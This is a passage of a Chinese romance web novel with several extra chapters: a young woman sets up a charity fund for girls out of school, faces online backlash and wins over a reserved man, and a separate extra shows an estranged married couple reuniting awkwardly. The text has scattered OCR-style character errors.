谷雨看到他俩后道:“爸爸妈妈,我想成立一个慈善基金,专门帮助那些失学的孩们。”她在给俞校长捐款时就想找专业的人帮自己处理这些事的,但后来想想还是自己做比较放心。舒英和李固言虽然对她这个想法都有些惊讶。 舒英就直在资助安城福利院,知道有些事不止是想做那么简单,她沉思了下说:“你这个想法是好的,但你还需要考虑周全,我想你应该听过的,慈善基金不是想的那么简单。”慈善基金组织驻羊头卖狗肉的不在少数,稍不注意,是很有可能把自己拖垮的。 谷雨怎么可能不知道,她从小接触过这么多人,但她也是真心想帮助那些孩子们,她笑起来:“爸爸妈妈,你们放心吧,我肯定会好好经营的。” 李固言笑道:“行,那你就放手去做吧,有什么事,爸爸妈妈给你撑着。” “呜我就知道爸爸妈妈最好了!”谷雨上前一步抱住他们措娇道。 上因加物星投乐数揭造度投妹进未成全 87、番外一 谷雨将想要筹备慈善基金会的消息刚被放到网上就引起了轩然大波,有人支持她,也有人开贴骂了她成百上干楼。 [我把《雨季来信》看了很多遍,也因此了解到很多我以前不知道的事情,我看到花花才十五六岁就被不负责任的父亲领口家嫁人,看到很多女孩子在学校里被男同学欺负,我无力又抓狂,其实只要她们走出大山,就会好很多,但愚昧的家人却死命抓着她们的脚,连读书的机会都被剥夺,所以我支持谷雨,我支持她筹备慈善基金会,去帮助大山里的失学女孩。】 【口楼上,我就是大山出来的,真的,当初我成绩其实还算不错,就算考不上大学,但也能上个中专学门技术,我有个同学跟我成绩差不多,她就学的护士,现在在医院里上班,但我家里人因为觉得我是女孩,不愿意供所以我现在天天在厂里贴标签……] 【这年头谁不知道慈善基金会就是个骗人的幌子啊,打着这种幌子更好捞钱是吧?】 【楼上的人指定有点毛病,谁不知道谷雨不缺钱啊,这一点从《地球使用指南》就能看出来了,而且人家有才有艺的,想捞钱,大把的方法,谁搞什么慈善基金啊。】 【回楼上,我看你才是脑子有问题,一看就是头发长见识短,因为人家不满足只有钱啊,现在还想扯点慈善家的名头在身上,你看你不就相信了吗?】 [兄弟,你真相了,人家有钱人贪心啊,有了钱就开始嫌钱不够,又想要名声,真是贪心不足蛇吞象,这下翻车了吧?】 【就是,我看这女的就是没安好心,而且还说只资助失学的女孩,你们品,细品,女孩,这里面指定有点说法(狗头)】 谷雨翻着手机,看着下面的评论,零星支持的评论被淹没在大量的吐槽喷骂中。 她都没想到自己不过就是普普画通发个博文,跟粉丝说一下自己的想法,竟然就被人喷上了热搜,而上了热搜后,不少记者知道从哪要到了她的联系方式,说想要采访她,要不是因为她家的安保实在好,这些人能堵到她家门前。 事情闹的沸沸扬杨,家里人都很担心她,贝贝和芝芝也都请了假来家里陪她。 “你们放心吧,我真没事。”谷雨有些无奈地站起来,在她们面前转了个圈,“你们看,这两天我足不出户,赵姨天天变着法的给我做好吃的,我都胖了好几斤了。” 芝芝瞥她一眼:“净瞎说,我瞧着小脸都尖了,晚上是不是背着我们躲被窝里哭了?” 谷雨震惊:“原来我在你心里就是这么脆弱的吗?” “谷雨,你跟我们说说你接下来怎么打算的?”贝贝问。 谷雨耸肩:“继续筹备基金会,我现在已经在招人了,我没有经验,得找几个经验丰富还可靠的人,我爸说他帮我找。” 贝贝点头笑起来,就知道她一向坚强乐观,肯定不会被这点小困难打倒。 手机铃响,三个人互相看着问:“谁手机响了?” “是不是你的?” “我的。”谷雨举手,看着手机上的名字说,“我朋友,估计是担心我想问问我情况。” “喂?” 手机传来的声音低沉:“你还好吗?” 谷雨看了眼俩人,起身去了露台,留贝贝和芝芝面面相觑,默契地挑了下眉。 露台门关上,隔绝屋里屋外的声音,谷雨坐下道:“我梃好的,你放心吧,这点小事情对我来说不算什么的。” “那就好。”说完对面有些沉默,像不知道说什么般。谷雨单手支在桌子上眯着眼朝外眺望,主动挑起话题问:“你现在怎么样啊,在哪上班呀,自从从明月小学回来,你也不怎么在群里说话。”安平不自在地舔了下唇,报了个公司名。 谷雨惊讶笑起来:“这个公司我如道,很厉害的一家公司,听说加班也挺严重,那你现在应该很忙吧?” “……还好。”安平手指蜷了蜷,嘴唇动了动。 谷雨笑了下:“那的这两天有时间?有空出来起吃个饭呀,自从回来后,我现青野还有何阳还附过几次,你是一次没来过。” “不好意思,因为我上班……” 知道道,你比较代城”谷雨笑道,“那你这周入有时间吗?我道家烤内店好吃,正好我不想两向你些于明小学的事情。安平不好再拒绝,只好道:“有的。” 两人又随便说了会,谷雨挂掉电话后进屋,深深呼出一口气:“外面真热啊,还是屋里面凉快。” 芝芝抱胸斜着眼瞧她:“老实交代。” 谷雨装傻:“交代什么?” 贝贝哼一声:“谁给你打的电话啊?笑成一朵花了。” “朋友。”“朋友?”芝芝不信,“你别跟我装,你高中跟那谁可是我第一个发现的。” 贝贝:“就是,坦白从宽,抗拒从严啊。” “哎呀,就是起去支教的一个人,相处下来觉得还不错,不过人家没那意思。” 芝芝恨铁不成钢:“你管他有没有那意思,遇到喜欢的就上啊,他单身,你也单身,勇敢一点好吗?朋友。” “臣妾遵命。”谷雨怪模怪样行了个官礼,三人笑闹团。 舒英和李固言在门外听着声儿,舒英道:“笑这么开心,应该没什么事。” 李固言颇为自豪:“真不是我自夸,咱们谷雨别的不说,在心态这一方面没人能比得过她,她才不会把这点子事放在心上。” 舒英瓶嘴也了他眼“又不是前两天抱着于机哭的时候了?“说起来她都想笑,面对网上的恶评,谷雨还设什么反应呢,他就先不行了,会也开不下去了,文件也看不进去了,一天到晚饱着手机看,看完又 李固言脸红,又嘴硬:“我那是,那是…” “是什么?”舒英就知道他说不下去,追着他问,“你倒是说啊,你那是什么?” 李固言哼声:“你还好意思笑我,你别忘了你也跟热锅上的蚂蚁一样,急得团团转的。” 舒英脸上也有些发热,瞪了他一眼,转身下楼。 网上的热度一阵一阵的,因为谷雨一直没出来回应过,那群激愤的网民喷了一阵也自觉没意思,又转了关注对象。 而谷雨这时候正跟安平吃着烤肉。 一段时间不见,安平还跟支教的时候样,话少但细心,烤肉的夹子一直在他手上,几乎没放下来过。 谷雨问:“你从本南县回来后就一直在上班吗?” “嗯。”安平点点头。 “也没出去玩玩?” 他摇头。 话题终结。 谷雨无奈笑了下,当初支教的时候,他就是他们四个中最少言的,但也是最有耐心最会照顾人的,在给孩子们讲课的时候认真严谨,温柔又细心,也不知道怎么的,就突然戳中了她不过不知道是不是她的错觉,当初支教的时候,她就感觉他对她和对另外两人的态度不同,对她更疏离,像不喜欢她样躲着她,但设关系,她这人就喜欢迎难而上,越不好搞的人搞到手就越有成就感安平也意识到有些不对,主动道:“你的基金会怎么样了?” “紧锣密鼓筹备中。”谷雨笑起来。 一段饭吃的还算愉快,安平虽然活说得少,但一直在认真听她说,等她说完也会努力的给反馈,尽量没让场面冷下来。 慈善基金会因为李固言找的专业管理人上任,开始慢慢走上正轨,谷雨要边学边干,也开始忙碌起来。 追男人的事也只能放到一边,不过偶尔空下来就会开着车到他公司门口等人下班,时间长,就算她没明说,他也知道是什么意思,明里暗里地拒绝她。 被拒绝的次数多了,谷雨差点都要自我怀疑了,但转念想,这样的硬茬子哨下来肯定会很爽,而且他看就是那种只要爱上了就会死心塌地的人,这种事不能深想,一想就感觉浑身在战栗。 今天又能早下班,谷雨看了眼时间,翘起嘴角,抓起车钥匙下楼。 黑色的越野车停在公司楼前,安平站在窗边画眸看者,脑中闪过小女孩坐在透亮的玻璃窗边吃蛋糕的画面,一双眸子黑白分明,乌黑明亮,这个画面像是刻在了他脑海深处,挥之不去,他经轻叹了口气,她的性格他再清楚不过,不是会轻言放弃的人,但他们两个之间云泥之别,本不应该有交集才对。 谷雨坐在车里盯着门口,有些无聊地打了个哈欠,这什么破公司,怎么员工下班这么晚? 刚这么想,就看见一道熟悉的身影从公司大门出来,她眼睛一亮,推开车门下去,走到人面前问:“你下班啦?” 安平抿着唇看着她炯炯有神的双眼点了点头。 88、番外一... “你应该还没吃吧?我也还没吃饭呢,正好朋友给我推荐了家店,说味道还不错,你陪我去尝尝呗。”谷雨边说边拉着他袖口上车。 安平没反应过来,被她抓着走,走到车前停下道:“李眷书。” “嗯?”谷雨回头问,“怎么了?” 安平抿了下唇,说:“你,你很好,很优秀,很有才华,很漂亮……” 谷雨笑了,倚着车看他,毫不谦虚地点头道:“我知道啊,你已经说了很多遍了。”先给她发好人卡,在劝她不要把时间浪费在他身上,他说了几回,他没说厌,她耳朵都听的要起茧子了。安平有些脸红,手指动了动又继续说:“我真的就是一个很普通的人,不值得你在我身上浪费时间。” 刚说完,谷雨猛然凑近他,微微皱着眉,一双大眼睛仔仔细细地盯着他,直把他盯得有些不知所措后才正色道:“我觉得你很好啊。” 她也不跟他兜圈子了,直言说:“我觉得你应该会是一个很好的恋人,怎么样,要不要考虑我一下?” 安平虽然知道她这段时间大概是在追求自己,但她还是第一次这么直白的说出来,他看着她,险些陷进她的眼神漩涡中,回过神后,他避开她的视线,“我们不合适。” “这有什么不合适的?你单身,我也单身,你觉得我优秀,我也觉得你很好,我们就在一起试试又怎么了?”谷雨一直想不通他为什么一直拒绝自己,看着也不像是不喜欢她啊。 安平摇头,嘴巴张了张,态度很是客气疏离:“李眷书,我想,你以后还是不要过来找我了,我们真的不合适,而且我现在也没有恋爱的计划。” 谷雨歪了歪脑袋,刚想说什么,手里的手机响起,她看了眼,是基金会的人,这个时间点找她,估计是有什么事要说。 她抬了抬手:“你等我一下。”接着滑动手机接听电话。 电话那边声音急切:“李总,基金会出事了!” 谷雨皱眉:“你先别急,跟我说清楚出什么事了。” “是这样的,我们有一笔钱没有落实到位,原本说的是资助女学生上学的,结果对接的人擅自挪用了这笔钱,给了一户儿子要娶媳妇的人家。” “啊?”这太荒唐了,谷雨不可置信问,“你没骗我吧?” “李总,这种事情我骗你做什么?你现在看大眼,这件事情的热点在上升,之前就不满意你的网民,现在又借着这个由头在说事!” 谷雨紧紧闭了下眼,深呼一口气,“你们等我一下,我现在就回去。” 说完她挂断电话,转身道:“安平,我现在……人呢?” 身后空无一人,哪里还有刚才安平的身影? 谷雨踮脚四处看了眼,没看见人,也没时间纠结,坐上车系上安全带就往基金会的方向去。 不远处,安平看着人上车离开后才从角落里出来,今天的话说的很清楚了,她以后应该不会再来找他了,他垂眼,说不上是什么心情。 第二天,楼下没有那辆越野车。 第三天,楼下没有。 第四天,第五天,第六条,那辆越野车都没有出现在楼下。 安平看了眼手机,手机上除了工作信息,再没有其他。 他抿唇,将手机屏幕熄灭,抬头看着电脑,有些失落又有些释然,大家不过是回归到了各自的生活中,本来按照他们的生活轨迹,就是永远不会相交的平行线,现在也不过是两条直线产生了一个交点,接着便背道而行,各走各远。 谷雨这几天忙的焦头烂额,别说给安平发消息了,就是连睡觉的时间都有些不够。 网上舆论平息,谷雨手里拿着文件在会议室道:“这件事算是解决了,但是我不希望以后我们还出现这种情况,麻烦把负责对接的员工重新培训,一定一定要落实每一笔善款,不能辜负社会对我们的信任,这次是挪动善款,还好处理些,下次要是出现贪污善款呢?现在网上的民众都很活跃,到时候就算我们知道我们是清白的,我们也没办法说清。" 会议开完,所有人出去,谷雨一把瘫坐在办公椅上,随手拧开矿泉水喝了一口,刚才不觉得,现在事情算是比较妥善的解决了,所有疲惫一瞬间涌上来,哈欠一个接一个地打,困得脑子都是懵的。 她下楼,也没拿车钥匙,在路边随手拦了辆出租,报了地址后闭上眼补觉。 等到了家,包包一扔,外衣一脱,整个人都躺倒在柔软的大床上,不过片刻,便陷入深深的睡眠中。 等人醒来,脑子一片茫然,恍惚间还以为自己是在支教小学的宿舍里,马上要起床给学生们上课。 片刻后才算是清醒过来,顺着刚才的思路不免想到安平。 提起他,她又想起自己好像挺长时间没去找他了,上次去找他什么时候来着?哦,发现善款挪动的那天。 她拿起手机看了眼时间,四点多,他还没下班,她将手机在手心敲了敲,想了一会后下床。 她的车还停在基金会没开回来,不过车库里有备用车,她下楼去车库随便开了一辆走。 路上,想到上次跟他见面时,他说的话,谷雨突然恍然,她是又被拒绝了一次? 这次她没再把车停到他公司楼下,而是停在了马路对面,斜斜望着公司。 六点多,安平从公司出来,脸上没什么表情地走到公交站台。 他住的不算远,公交可以直达。 谷雨驱车跟上去,公交停了几站后,安平从车上下来,她远远看了他一眼,瞅准停车位把车挺好,随后下车不远不近地跟着。 安平没直接回家,而是去了旁边的一家菜场,谷雨怕被他发现,没跟进去,在外面等着。 不多久,就见他拎着食材出来,进了小区楼道。 谷雨站在楼下往上看,她记得他住在六楼,果不其然,六楼窗口亮起灯光。 谷雨楼下站了会儿,起身回家。 她这样观察了他几天,见他每天就是两点一线,不是公司就是家,偶尔去一趟菜市场,也没见跟什么人来往,更不可能还有什么暖昧对象。 她摸着下巴思索了会儿,随后从两把车钥匙中拿走越野车的。 准备今天直接杀到他公司楼下,看看他的反应,要是还跟之前一样油盐不进,那也就没有追的必要了,因为一直不给反应的人,就是追起来也没有多大的趣味。 越野车停在楼下,谷雨靠在车上抱臂,没管周围来往路人的目光,眼睛一直望着门口。 她这几天摸准了他下班时间,没提前多久过来,只等了一会儿,人就从公司出来。 安平今日照常下班,但刚出公司大门就顿住脚步,眼神直直地看到对面。 舒英在他看过来的第一眼就忍不住笑,笑中带着张扬和胜利。 她放下手,走过去。 安平看着逼近的身影,那一瞬感觉心脏好像停止了跳动,他没有料到她今天会过来。 谷雨不说久经沙场,但也谈过几场恋爱,知道男人动心的表现,几乎是他一出现就看穿了他的想法,他眼中的惊喜出卖了他。 她站到他面前扬着唇没说话,安平嘴唇动了动,也不知道说什么。 这边来往的人太多,不适合说话,谷雨伸手拉住他,将人带到旁边无人注意到的拐角。 安平眼睛盯着自己手腕上的那只明显小一号的手,只觉得被她攥住的地方像是有火在烧。 谷雨将人拉过来后放下他站定,她直勾勾地看着他,一步一步逼近,安平被她逼的后退,直到整个后背都贴在墙面,他不自然地侧头,道:"………你,你怎么过来了?" 谷雨没说话,唇角轻扬,单手将他的脸转正。 刹那间,安平彷佛被施了定身术,浑身上下一动不能动,只觉头皮发麻,一种从未有过的刺激紧张感上涌,他眼神躲闪,不敢直视她。 谷雨笑出声,拇指指腹在他唇角按了按,眼神在上面肆意流连,另一只手抚摸上他的胸膛,手下的心脏剧烈跳动,就好像要突破这块肉的桎梏,朝她奔袭而来。 谷雨问:“你听见了吗?” "什,什么?" “它在说它喜欢我。”谷雨说的直白,她仰头看着他,有些不解地问,“你明明喜欢我,又为什么要一直拒绝我?为什么不愿意跟我试一试呢?”安平怔住,瞬时间满面通红。 谷雨放在他唇上的手动了动,没等他回答就踮脚吻上去。安平感受到唇上的温热,在意识到她在做什么后震惊地瞪大眼,“你…….谷雨趁他开口寻到时机探进去,堵住他接下来的话,又有些不满地用手捂住他双眼。安平亲到一嘴濡湿,很是不可置信,双手有些无措地垂在身侧,像是失了方向的无头苍蝇。谷雨在他唇上辗转、吸吮,期间睁眼看了眼,见他乖乖靠着墙角站立,一副任君采撷的小白兔模样。她对他的样子很满意,吻够后松开他,新鲜的空气猛然入喉,安平呆愣地眨眼,喘着粗气。谷雨笑起来:“你没接过吻啊,不知道换气吗?” 安平撑着腿转头看过来,眼眸有些湿润,泛着点点水光,憋气憋的。 就按他这个性格,估计这还真是他初吻,就在今天被她无情地夺走,谷雨意识到自己说错话,尬笑了两声,没敢等人清醒,就又拉着人吻上去,唇息交换间,她像是不怀好意地大灰狼般哄骗道:“我教你……" 又是一吻结束,天已经黑下来,谷雨将手滑到他掌心,牵着人出去走到越野车边,打开副驾,让他坐上去。 两人一路都没说话,安平一直看着窗外,只脸上的红晕不散,眼神懵懵的,看着更添几分可爱。谷雨带着他去了自己的公寓,她偶尔会来这边住一段时间。到了地库,安平乖乖跟她上了电梯,站在她身后,轻轻用手摸了下唇。谷雨从反光的墙壁上看到他的动作,忍不住露出笑,伸手与他十指相牵。安平抿了下唇,觉得手心发烫,但到底没挣开,吻都吻了,再计较这些又有什么用。进了屋,谷雨将灯打开,问:“你饿不饿?我现在叫餐。”“我做吧。”安平握着她的手,眼神却不敢看她。 谷雨现在只觉得他可爱,笑道:“冰箱没有菜。”说着掏出手机点了点,“我点好了,要不要看电视?还要等一会儿才能吃饭。” “嗯。”安平不自然地点头。 电视开着,但两人谁都没有心思去看它,谷雨压着他在他唇上亲了又亲,忍不住地欣赏着他害羞的表情。 “那你以后可就是我男朋友了。” “……嗯。” 谷雨笑,又在他唇上掠夺一番。 门铃响起,谷雨起身开门,将点的东西接进来,两袋东西,一个饭店的,一个便利店的,她把饭菜拎到餐桌,安平咬着唇将身上有些凌乱的衣服整理了下,过去帮忙。 吃完饭,安平收拾完桌子道:“今天太晚了,我就,先回去了。” “那么着急干什么?你先去洗个澡,我待会儿有话跟你说。”谷雨拉住他,“喏,这个是我爸之前放在这的衣服,没穿过,干净的。”安平接过衣服,有些疑惑问:“一定要洗澡吗?” "嗯,你都上了一天班了。”谷雨把他推进浴室,“洗干净点再出来。"趁他洗澡,谷雨也进了主卧浴室,她是正常女性,是有需求的,而且她很喜欢他,当然不满足于亲吻。 她皮肤白,热气一蒸腾,皮肤变得粉嫩,她穿着吊带裙出来,瀑布般的黑色头发披散,衬着一双灵动的大眼睛,与肌肤形成强烈的视觉冲击。 安平看见她的第一眼就意识到什么,只觉得某个地方隐隐发疼。 他目光闪躲,有些口干舌燥地问:“你,你想说什么?” 谷雨上下看了他一眼,他洗头了,但应该只是匆匆吹了下,发梢还湿着,柔顺地垂着,灰色的家居服很适合他,宽肩窄腰下是一双笔直有力的长腿。 她清了清嗓:“我想知道你为什么一直躲着我,是因为我妈妈资助过你吗?所以你觉得配不上我?” 安平愣住,眨了眨眼问:“你知道我?” 谷雨兀自点头道:“那看来就是这个原因了。不过你为什么会觉得我不知道你啊,我很早就认识你了,你来过我家的,你忘了吗?” 安平当然记得,那是高三毕业的暑假,他收到了沪大的录取通知书,在开学前,被舒阿姨邀请去她家做客,但他记得他去的时候她正跟朋友在外面毕业旅行。 谷雨笑起来:“我妈妈给你拍了照片呀,我回来后看到了。” 安平抿了抿唇,手指在沙发上蜷了蜷。 谷雨上前跨坐到他身上,捧着他的脸吻了下。 安平仰着头愣愣地看着她。 “大学的时候我也见过你几次的,你在社团组织事情,做事沉稳干练,支教的时候你在别人面前也一直都很温柔稳重,我不知道为什么,你在我面前的时候总是话很少很少,也不敢正眼看我。”谷雨盯着他的眼睛,“是因为对着我会觉得自卑吗?” 安平只觉得自己整个人都被看穿了般无处遁形,垂着眼睫点头。 谷雨摸着他的脸颊吻上去,继续道:“我妈妈一直在夸你,你从小就很厉害,很照顾院里的弟弟妹妹,成绩也很好,从安城考到沪大,考上大学后就没有再接受我妈妈的资助,靠着助学贷款和勤工俭学读完了大学,甚至还能有余钱补贴福利院的孩子们,而且要不是我妈妈不要,你早就把钱都还给她了。你这么年轻,又这么优秀,完全没有必要产生任何自卑的心理,我要是你,我肯定骄傲得恨不得全天下都知道。" 安平被她逗笑,好看的眉眼弯起来,颊边陷出一只梨涡。 谷雨手指轻柔地抚过他眉毛和梨涡:“我喜欢你笑,你每次对着我都不笑,所以我看到你对着别人笑的时候都很生气,因为我在吃醋。” 安平愣了下,又笑起来:“好。” 公寓面积很大,因为不长住人,客厅只有必要的家具,显得有些空旷,窗户打开着,夜风吹进来,谷雨抱住他闭上眼睛去寻他的唇。 “不,不行。”安平按住她下滑的手,面上染上红霞,气息不均,“我们才在一起,不,不能这样。” 谷雨眉头微蹙,看着好不可怜,"可是我想要怎么办?" “再等,再等等。”安平也怕控制不住自己,不敢看她又不敢推开她,只能按着她不动。 谷雨轻笑,在他唇上轻咬,拉着他的手嗔道:“你摸一摸?” 安平手掌被带到一处绵软,他下意识咽了口口水,喉头滚动。 谷雨伏在他身上喘息,又挑/逗地问:“喜欢吗?” 安平不答。 谷雨笑,把便利店的袋子拿过来,将其中一个方片状递到他嘴边:“咬开。” 安平认出这是什么,抿着唇没听她的,哄着她说:“再过段时间,过段时间好不好?”“不好。”谷雨摇头,抱住他说,“我喜欢你,你也喜欢我,干嘛非得再过段时间?” 要是换了别人,她肯定不会进度如此快,但身前的人是他,那就不一样了。 “这种事情女孩子都是吃亏的,我不想这么随便的对你。”安平手指摩梭着她的脸,眼底是不再藏匿的无限爱意。 谷雨怔住,将手上的东西扔回袋子,搂着他的脖子道:“那你今天不要回去了,我们不做什么,但我想你抱着我睡。” 安平点头,笑起来将她抱回房,小心地放到床上,随后自己也躺上去,从她身后紧紧抱住她,轻声告白:“其实我很早之前就喜欢你了,有一年你和舒阿姨一起来福利院,你扎着很漂亮的发型,穿着白色的裙子,给我们弹了琵琶。" 这些事谷雨记得不太清楚了,只隐约记得好像是有这么一回事,她翻身面对着他,大大的眼睛注视着他哼道:“那我追你的时候,你还忍心拒我于千里之外。” “对不起,我不应该那么做,是我自卑心作崇,总觉得配不上你。”安平伸手将她额前碎发拨到而后,“以后不会了,只要你还喜欢我,我肯定紧紧抓住你的手。” “这还差不多。”谷雨埋进他怀里,因为爸妈的原因,她一直很相信爱情,但又因为周围人的经历,而觉得真正的爱情难得,所以不相信自己一定会遇到那种爱情,哪怕到今日,她还是这个想法。 只是她一向坦率,喜欢什么就一定会付出努力,就算最后得不到也不想让自己留遗憾,而现在她喜欢他,她不敢保证他们会一直两情相悦,但她想至少在两人互相喜欢的时候都尽力而为。 只要当下是快乐的,是幸福的就足够了。 89、番外二…. “姐,姐夫现在在宜州怎么样啊,我记得去好几个月了吧?”小胡问 舒英笑了笑,说实话她也不知道他现在怎么样,他出去这几个月好像就给她打了两个电话,而往往说不上几分钟的话就都沉默无言,最终掛掉 "还行,他挺适应的。 小胡哦了声,左右看了看,又凑到她旁边问:“姐,那你跟姐夫以后就这么两地分居啊?宜州离我们这么远,姐夫也那么优秀,你也不担心吗?” 舒英摇头,有什么可担心的呢?就她和李固言的状况,就是他还在机械厂的时候,两人感情都算不上好,去不去宜州都那么一回事。 但这些情况外人是不知道的,小胡见她自信,羡慕道:“姐,还是你跟姐夫的感情好。” 听到这,舒英差点没笑出声,她无奈地摇了下头,没说话。 “但姐,你别怪我多嘴,”小胡犹豫了下道,“就是,你跟姐夫这样子两地分居,以后什么打算啊?是姐夫回来还是你过去?”其实这段时间小胡听到过一些流言蜚语的,说她跟她丈夫结婚这么多年也没个孩子,这下子老公又去到那么远的地方去,这男人耐不住寂寞的,分开时间长了,谁知道人家在外面会不会再找。 舒英还真没想过这个问题,因为想了也是白想,纯格伙过日子的夫妻两个,就是分开也没什么情緒波动,更不会为了团聚而想要做出什么改变,她现在蜓适应二院的工作的,目前不太想离开,而她瞧着,李固言在机械厂发生的那些事,他以后肯定也是不想回来的。 晚上舒英下班去了趟菜市场,割了块排骨,又买了些新鲜蔬菜,别说,这自己一个人住一段时间,还挺舒服的,下了班回到家想干嘛干嘛,想吃什么买什么,也不用顾忌什么,更不用想着法在两人尴尬的氛围中找话题。 说句不好听的,她不是很想去找李固言,也不太想李固言以后回来,可要说离婚,她好像也没想那么远,离了婚她好像就要回娘家住,但回娘家有什么好住的,平白遭嫌弃,还是现在这样的生活好,以后的结局怎么样以后再说。 舒英挎着菜篮子哼着小曲,熟练地拐进了家属院的小巷,刚进巷口就聞到一股饭菜香,这时候正值饭点,家家户户都在起锅烧菜,学生们放了学,一群一群的聚在路边嬉戏,她看着他们笑了下,从他们旁边绕过去。 “小英,小英!”冲她招着手。 舒英转头,问:“怎么了嫂子?” 吴嫂子神神秘秘笑道:“你家李工回来了,不知道什么时候到的,我一下班就听到隔壁有动静,我以为是你今天回来早了,结果探头一看,是李工里里外外的收拾东西做饭呢!”她越说越兴奋,没注意到舒英有些不对的脸色 李固言回来了?舒英将挎在胳膊上的菜篮子垂下,浅浅笑了下:“他回来啦?他没提前跟我说呢。” 吳嫂子很有经验似的 她 眼说:“都结婚多少年了,这你还不懂啊?我看李工是想给你个惊喜,就没提前跟你说…哎呀!我这嘴,“说着她拍打了一下自己的嘴,“真是多嘴多嘴,行了行了,我不说了,你赶紧回去吧,李工该等着急了。” 舒英轻笑了下,跟她告辞后,有些迟疑地往前走,走到家门口,看着整天开开合合的大门,有些犹豫。 “你下班回来了?”李固言听见动静朝门口看过来,手上还端着刚炒出来的菜,随手放到桌上,“我饭菜都做好了,你洗一下手就能来吃了。” 舒英客气笑了笑,“你回来怎么没提前跟我打个电话,我好去接你。”将菜篮子放到厨房,把里面的排骨拿出来放冰箱里,今天这排骨是吃不上了,不放冰箱恐怕明天就要变质。 "我想着你要上班,我就没说。 “这样啊。” 两人落座,拿起筷子吃饭,饭桌上,两人也没什么话,沉默在房中蔓延开,有些尷尬。 舒英想起白天小胡问的问题,率先打破沉默问:“你,你在宜州怎么样啊?工作上生活上都还习惯吗?” 李固言没想到她会关心自己,受宠若惊地呛了下咳嗽起来,手忙脚乱地喝了口汤平息后忙回道:“很好,都挺习惯的。“ 一句话说完,二人又有些无话,各自眼神飄忽,都在想要不要再找找话题。 最后一顿饭在两人的沉默中结束,吃完饭,李固言拿起碗筷就要收拾。 舒英连忙拦下道:“你今天坐了一天的车,又做了这一桌子饭菜,肯定累了,你先去洗漱然后去床上睡会儿吧,这些我来收拾。”说完把碗筷从他手中抢下来端进了厨房。 该刷的刷完,洗的洗完,廚房恢复安静,舒英看着干净的台面,有些犹豫,不知道要不要出去,该出去,但不政出去,现在她只觉得两个人之间很陌生,出去面对他也很馅枪,不知道说什么好也不知道做什么好。 她紧了紧手指,咬了下唇,最后放下抹布,把厨房的灯关上,随后回到卧室,刚一进门,就松了一口气。 李固言已经躺在床上睡着了,估计累了一天是真的困了。 现在还早,舒英还不想睡,她去洗漱之后,回来彎腰从床头柜把毛线筐拿出来,继续织还没织完的毛衣,是一件浅紫色的小开衫,适合开春的时候穿。 织了一会儿毛衣,紧绷的情绪放松下来,整个人都窝进宽大的椅子里,眼睛专注地盯着手中的动作。 李固言睡了一觉,短短两个多小时,却感觉是这段时间睡得最安穩的一回,他眼皮动了动睁开眼,看到对面椅子里的人,昏黄的灯光笼罩着她,身段朦朧,稍不留意就看痴了神。 舒英将毛衣收尾,感觉脖子有些酸,她下意识扭了扭,正好看见他望过来的视线,她抿唇笑了下问:“睡醒了?” “嗯。”李固言收回目光,身体动了动坐起来。 “睡这么长时间渴了吧?我去给你倒杯水。”说着,舒英起身出门,走到外间后缓缓呼出一口气,家里猛然又多出一个人,她还真有点不习惯。 李固言喝完水,看了眼时间,已经九点多了,他问:“你现在要上来吗?” 舒英看着他身上盖着的自己的碎花被,迟疑两秒后点头。 他回来的突然,柜子里的被子都没晒,今晚肯定是没法盖的。 李固言听她说要上来,身体往后移了移,把外面的位置腾出来。 舒英掀开被子躺进去,被子里热腾腾的,都是他的体温,她不着痕迹地嗅了嗅,他身上的气息霸道,不过是睡了两个小时,就把她的味道全部遮掩,只剩下了他身上的肥皂味不难闻,甚至可以说挺好闻的,但是,很陌生,不习惯。 舒英轻轻动了下,将灯拉灭,房间瞬间陷入黑暗,她侧过身,背对着他。 李固言薄唇轻抿,刚才睡了一觉,现在只觉得脑中清醒无比,他看着旁边隆起的背影,黑暗中影影绰绰隐隐约约,他不由动了动。 在宜州的这些时间,他每天都会想起她,想她在做什么,她在说什么,她会不会也在想他。 舒英将脸埋在被子里,身后多了一道呼吸声,平稳有力,但说实话有点吵,吵的她脑子嗡嗡,心也嗡嗡,一点睡意都没。 她翻了个身,平躺在床上,眼睛紧紧闭着,明天还要上班呢,催着自己赶紧入睡。 突然,她睁开眼,又猛然闭上,旁边伸过来一只手,温度灼人,在这深夜中,在这一张床上,又是合法夫妻,她当然明白这是什么意思。 她眼珠乱颤,心中有些惴惴,没有反感,但有些不安,他们两个已经很久同过房了,真要算起来,大概从那场说不清道不明的冷战以后就再也没有过了。 那只属于她丈夫的大掌停留在她胳膊上,没有再进一步。 舒英身子有些发僵,脑子里不可控制地胡思乱想,一颗心悬着,猜测着他是要做还是不做,这样不上不下、犹犹豫豫,让人心里没底。 李固言也在忐忑,刚才脑子一热,手就伸出去了,碰到她肌肤的那一刻,只觉得触电般,不敢再继续,又不想收回。 他试探着往前伸了伸,碰到她柔软的腰腹,能明显感觉到她身体忽然一僵,像是下意识抗拒一般。 他抿了下唇,眼神黯淡,知道她不愿意,慢慢将手收了回来。 他了解她的性格,什么事情都憋在心里,从来不会说出来,就是不愿意也不会直白拒绝,但身体是没办法撒谎的,他不想勉强她。 那灼人发烫的温度从身上消失,好像一块糖梗在喉咙口,吐不出来咽不下去,舒英眨了眨眼,看着天花板,说不好现在是什么心情,失望有之,如释重负也有之。 旷了这么久的身体的确是有些渴望的,但面对他,无措也是真的。 李固言收回手后看着她没敢再靠近,闭上眼睛假寐。 这一夜,两人都没睡好,第二天一早都哈欠连天。 两人起床洗漱着,都默契的没有提昨天夜里发生的事情。 舒英刷着牙,看看鏡子里的自己,人都说床头吵架床尾和,但他们没架,只是不知道怎么互相之间就生了些相船,谁都没有办法说清到底是怎么回事,只是默契的任它发展,发展成现在这副不植不尬的样子,而且床倒是有了,但他们合不起来呀,要真能合一次,说不定还好了呢。 有时候想想,还不如吵一架,至少大家想的什么都能表达出来,只有表达出来才有解决的可能,都憋在心里,闷着头,谁知道谁想的什么。 但她也只是想想,让她主动说,那是不可能的,细究起来,还是两人当初在一起的太仓促,还没能互相了解,没有发展出深刻的感情,就匆匆忙忙扯了證办了婚礼,搬到了一起过起了婚后的日子。 了解不深,又都是沉闷的性子,所以走到目前这个结果也并不令人意外。 舒英将口中牙育沫吐掉,漱口,她也习惯现在的生活了,没有孩子苦恼折磨,男人事也少,平时分居两地,不用她照顾,日子过得倒也还算舒心,没什么好不满足的。 吃著早飯,碗筷碰撞,李固言开口道:“我们现在住的房子是厂里分的,没有产权,我现在办的是停薪留职,但遲早要辞职的,到时候房子恐怕就不能住了,我打听了一下,听说一院旁边有户人家想卖房子,等这周日我们去看看吧?” 舒英没有异议,点头答应。 90、番外二... 